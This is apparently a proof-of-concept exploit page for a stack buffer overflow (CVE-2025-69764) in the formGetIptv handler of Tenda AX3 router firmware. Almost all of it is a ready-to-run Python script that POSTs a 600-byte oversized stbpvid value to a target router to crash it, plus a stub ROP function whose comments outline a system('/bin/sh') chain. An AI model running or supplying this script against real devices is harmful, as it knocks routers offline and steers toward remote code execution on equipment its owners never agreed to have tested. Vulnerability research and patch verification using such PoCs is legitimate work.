CVE-2025-69764 Tenda AX3 formGetIptv栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-69764 PoC - Tenda AX3 formGetIptv Stack Buffer Overflow This PoC demonstrates the buffer overflow vulnerability in the formGetIptv function of Tenda AX3 router firmware v16.03.12.11 WARNING: Only use this for authorized security testing """ import requests import sys def exploit_tenda_ax3(target_ip, target_port=80): """ Exploit CVE-2025-69764 by sending an oversized stbpvid parameter to trigger stack buffer overflow in formGetIptv function Args: target_ip: IP address of the vulnerable Tenda AX3 router target_port: Web management port (default: 80) """ # Construct the target URL url = f"http://{target_ip}:{target_port}/goform/formGetIptv" # Create payload with oversized stbpvid parameter to trigger overflow # Buffer size is typically small (e.g., 64-128 bytes), so we send 500+ bytes # This will overwrite return address and potentially EIP/RIP payload_size = 600 payload = "A" * payload_size # Prepare the POST data data = { "stbpvid": payload # Vulnerable parameter } print(f"[*] Target: {url}") print(f"[*] Payload size: {payload_size} bytes") print(f"[*] Sending exploit payload...") try: # Send the malicious request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - possible successful exploitation") print("[!] Router may have crashed or rebooted") except requests.exceptions.ConnectionError: print("[!] Connection failed - router may be unresponsive") print("[!] This could indicate successful exploitation and device crash") except Exception as e: print(f"[!] Error: {str(e)}") def create_rop_payload(): """ Generate a more sophisticated ROP payload for actual exploitation This would require knowledge of the firmware's memory layout """ # Placeholder for ROP chain construction # In a real attack, this would include: # - Address of system() function # - Address of /bin/sh string # - Return address to exit() function rop_chain = "" return rop_chain if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-69764.py <target_ip> [port]") print("Example: python3 cve-2025-69764.py 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ax3(target, port)